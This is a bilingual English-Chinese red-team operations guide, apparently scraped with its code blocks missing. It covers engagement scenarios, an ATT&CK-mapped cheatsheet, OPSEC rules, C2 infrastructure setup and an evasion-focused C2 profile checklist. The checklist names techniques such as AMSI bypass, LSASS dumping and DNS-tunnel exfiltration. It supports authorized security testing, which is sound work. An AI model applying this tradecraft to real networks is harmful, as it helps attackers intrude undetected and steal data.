You start with an initial foothold (a workstation with standard user credentials) and focus on post-exploitation: lateral movement, privilege escalation, and objective completion. This tests internal detection and response without spending time on initial access. Map primarily to TA0008 (Lateral Movement), TA0004 (Privilege Escalation), and TA0006 (Credential Access).

你从一个初始立足点（拥有标准用户凭据的工作站）开始，重点关注后渗透活动：横向移动、权限提升和目标完成。这种场景用于测试内部检测与响应，而无需在初始访问上投入时间。主要映射到 TA0008（Lateral Movement）、TA0004（Privilege Escalation）和 TA0006（Credential Access）。

External to Internal

External to Internal（外部到内部）

Full attack chain from the internet. Includes OSINT, phishing or external exploitation, initial access, and the complete post-exploitation sequence. Tests the full kill chain from TA0043 (Reconnaissance) through TA0010 (Exfiltration).

来自互联网的完整攻击链，包括 OSINT、钓鱼或外部漏洞利用、初始访问以及完整的后渗透序列。用于测试从 TA0043（Reconnaissance）到 TA0010（Exfiltration）的完整杀伤链。

Insider Threat

Insider Threat（内鬼威胁）

Simulate a malicious employee with legitimate credentials and physical access. Focus on what damage an insider can do: accessing data beyond their role, exfiltrating intellectual property, or sabotaging systems. Tests data loss prevention, access controls, and behavioral analytics.

模拟一名拥有合法凭据和物理访问权限的恶意员工。重点评估内部人员能够造成什么损害：访问超出其职责范围的数据、外泄知识产权或破坏系统。用于测试数据防泄漏、访问控制和行为分析能力。

Physical and Cyber Hybrid

Physical and Cyber Hybrid（物理与网络混合）

Combine physical intrusion (tailgating, badge cloning, lock picking) with cyber operations. Plant a network implant (drop box) during physical access and use it as your initial foothold. Tests physical security controls alongside cyber defenses.

将物理入侵（尾随进入、徽章克隆、开锁）与网络行动结合起来。在物理访问期间投放网络 implant（投放盒），并将其作为初始立足点。用于同时测试物理安全控制和网络防御能力。

Engagement Cheatsheet

交战速查表

text

PHASE               KEY ACTIONS                                    ATT&CK TACTIC
-----------------------------------------------------------------------------------
Planning            Scope, ROE, deconfliction, legal auth          --
Infrastructure      Domain aging, VPS, redirectors, TLS            TA0042
Initial Access      Phishing, exploitation, physical               TA0001
Execution           Loader -> minimal implant -> full C2           TA0002
Persistence         Registry, scheduled tasks, DLL hijack          TA0003
Priv Escalation     Token manipulation, UAC bypass, kerberoast     TA0004
Defense Evasion     AMSI bypass, ETW patch, unhook, LOLBins        TA0005
Credential Access   LSASS dump, kerberoast, DCSync                 TA0006
Discovery           AD enumeration, network scanning               TA0007
Lateral Movement    WinRM, SMB, DCOM, RDP hijack                   TA0008
Collection          Stage sensitive data, encrypt                  TA0009
Exfiltration        DNS tunnel, HTTPS chunked, cloud storage       TA0010
C2                  Malleable profiles, sleep/jitter, fallbacks    TA0011
Cleanup             Remove artifacts, verify, document             --
Reporting           Narrative, findings, ATT&CK map, debrief       --

text

OPSEC RULES (NON-NEGOTIABLE)
  - Team server binds to 127.0.0.1 only; all external access via redirector/tunnel
  - Kill dates on every beacon; no exceptions
  - Zero-sleep only during active hands-on-keyboard; 60s+ otherwise
  - Encrypt all collected data immediately; never store plaintext credentials
  - Separate infrastructure per tier; burning T1 must not expose T3
  - Strip metadata from all delivered files
  - Log every action with timestamp, target, technique, and deconfliction code
  - Never reuse infrastructure, domains, or tooling across engagements

INFRASTRUCTURE QUICK REFERENCE
  Redirector:   nginx/apache with URI + User-Agent filtering
  Tunnel:       cloudflared, SSH, or WireGuard to team server localhost
  Domain age:   minimum 14 days; 30 preferred; categorize within first week
  TLS:          Let's Encrypt or commercial CA; never self-signed
  DNS:          separate registrar from hosting; enable WHOIS privacy

C2 PROFILE CHECKLIST
  [ ] host_stage = false (disable staging)
  [ ] sleep/jitter configured per beacon tier
  [ ] User-Agent matches target's legitimate traffic
  [ ] URIs mimic real application endpoints
  [ ] Memory obfuscation enabled (sleep_mask, obfuscate)
  [ ] Valid TLS certificate in keystore
  [ ] Spawn-to process set to legitimate binary (not rundll32)
  [ ] Named pipes randomized (not default CS pattern)

text

PHASE               KEY ACTIONS                                    ATT&CK TACTIC
-----------------------------------------------------------------------------------
Planning            Scope, ROE, deconfliction, legal auth          --
Infrastructure      Domain aging, VPS, redirectors, TLS            TA0042
Initial Access      Phishing, exploitation, physical               TA0001
Execution           Loader -> minimal implant -> full C2           TA0002
Persistence         Registry, scheduled tasks, DLL hijack          TA0003
Priv Escalation     Token manipulation, UAC bypass, kerberoast     TA0004
Defense Evasion     AMSI bypass, ETW patch, unhook, LOLBins        TA0005
Credential Access   LSASS dump, kerberoast, DCSync                 TA0006
Discovery           AD enumeration, network scanning               TA0007
Lateral Movement    WinRM, SMB, DCOM, RDP hijack                   TA0008
Collection          Stage sensitive data, encrypt                  TA0009
Exfiltration        DNS tunnel, HTTPS chunked, cloud storage       TA0010
C2                  Malleable profiles, sleep/jitter, fallbacks    TA0011
Cleanup             Remove artifacts, verify, document             --
Reporting           Narrative, findings, ATT&CK map, debrief       --

text

OPSEC RULES (NON-NEGOTIABLE)
  - Team server binds to 127.0.0.1 only; all external access via redirector/tunnel
  - Kill dates on every beacon; no exceptions
  - Zero-sleep only during active hands-on-keyboard; 60s+ otherwise
  - Encrypt all collected data immediately; never store plaintext credentials
  - Separate infrastructure per tier; burning T1 must not expose T3
  - Strip metadata from all delivered files
  - Log every action with timestamp, target, technique, and deconfliction code
  - Never reuse infrastructure, domains, or tooling across engagements

INFRASTRUCTURE QUICK REFERENCE
  Redirector:   nginx/apache with URI + User-Agent filtering
  Tunnel:       cloudflared, SSH, or WireGuard to team server localhost
  Domain age:   minimum 14 days; 30 preferred; categorize within first week
  TLS:          Let's Encrypt or commercial CA; never self-signed
  DNS:          separate registrar from hosting; enable WHOIS privacy

C2 PROFILE CHECKLIST
  [ ] host_stage = false (disable staging)
  [ ] sleep/jitter configured per beacon tier
  [ ] User-Agent matches target's legitimate traffic
  [ ] URIs mimic real application endpoints
  [ ] Memory obfuscation enabled (sleep_mask, obfuscate)
  [ ] Valid TLS certificate in keystore
  [ ] Spawn-to process set to legitimate binary (not rundll32)
  [ ] Named pipes randomized (not default CS pattern)

Key References

主要参考资料

MITRE ATT&CK Enterprise Matrix: https://attack.mitre.org/matrices/enterprise/
MITRE ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/
Red Team Operations with Cobalt Strike (Raphael Mudge): https://www.cobaltstrike.com/training
SpecterOps Red Team Operations courses: https://specterops.io/training
CISA Red Team Sharing Guide: https://www.cisa.gov/resources-tools/resources/cisa-red-team-sharing-guide
TIBER-EU Framework (threat-intelligence-based ethical red teaming): https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/html/index.en.html
PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
LOLBAS Project (Living Off The Land Binaries): https://lolbas-project.github.io/
SysWhispers3: https://github.com/klezVirus/SysWhispers3
HellsGate / HalosGate: https://github.com/am0nsec/HellsGate

MITRE ATT&CK Enterprise 矩阵：https://attack.mitre.org/matrices/enterprise/
MITRE ATT&CK Navigator：https://mitre-attack.github.io/attack-navigator/
使用 Cobalt Strike 开展红队运营（Raphael Mudge）：https://www.cobaltstrike.com/training
SpecterOps 红队运营课程：https://specterops.io/training
CISA 红队共享指南：https://www.cisa.gov/resources-tools/resources/cisa-red-team-sharing-guide
TIBER-EU 框架（基于威胁情报的合规红队测试）：https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/html/index.en.html
PTES（Penetration Testing Execution Standard）：http://www.pentest-standard.org/
LOLBAS Project（Living Off The Land Binaries）：https://lolbas-project.github.io/
SysWhispers3：https://github.com/klezVirus/SysWhispers3
HellsGate / HalosGate：https://github.com/am0nsec/HellsGate

offensive-advanced-redteam

Original

Translation

Advanced Red Team Operations

高级红队运营

Quick Workflow

快速工作流

Engagement Planning

交战规划

Scope and Objectives

范围与目标

Rules of Engagement (ROE)

交战规则（ROE）

Deconfliction

去冲突

Example deconfliction log entry

Example deconfliction log entry

Communications Security

通信安全

Infrastructure Setup

基础设施搭建

Tiered Architecture

分层架构

Domain Aging and Reputation

域名预热与信誉

Set up a basic landing page to build categorization

Set up a basic landing page to build categorization

Submit to categorization services

Submit to categorization services

Visit: https://sitereview.bluecoat.com/

Visit: https://sitereview.bluecoat.com/

Visit: https://www.fortiguard.com/webfilter

Visit: https://www.fortiguard.com/webfilter

Categorize as "Business" or "Technology" - never "Uncategorized"

Categorize as "Business" or "Technology" - never "Uncategorized"

Verify categorization after 7-10 days

Verify categorization after 7-10 days

Redirectors and Traffic Filtering

重定向器与流量过滤

/etc/nginx/sites-available/redirector.conf

/etc/nginx/sites-available/redirector.conf

Smart redirector: forward only traffic matching your C2 profile

Smart redirector: forward only traffic matching your C2 profile

Bind team server to localhost only

Bind team server to localhost only

Create a Cloudflare tunnel for operator access

Create a Cloudflare tunnel for operator access

Operators connect through the tunnel

Operators connect through the tunnel

On operator machine:

On operator machine:

VPS and TLS Certificates

VPS 与 TLS 证书

Generate a certificate with certbot

Generate a certificate with certbot

Convert to Java Keystore for Cobalt Strike

Convert to Java Keystore for Cobalt Strike

C2 Tradecraft

C2 Tradecraft

Malleable Profiles and Traffic Blending

Malleable Profiles 与流量融合

Cobalt Strike malleable C2 profile excerpt - Microsoft 365 blend

Cobalt Strike malleable C2 profile excerpt - Microsoft 365 blend

Sleep, Jitter, and Beacon Management

睡眠、抖动与 Beacon 管理

Fallback Channels

后备信道

OPSEC Discipline

OPSEC 纪律

Attribution Avoidance

归因规避

Strip metadata from a phishing document

Strip metadata from a phishing document

Verify no identifying metadata remains

Verify no identifying metadata remains

Strip build paths from a compiled binary (Linux)

Strip build paths from a compiled binary (Linux)

Tool Signature Management

工具特征管理

Indicator Management and Cleanup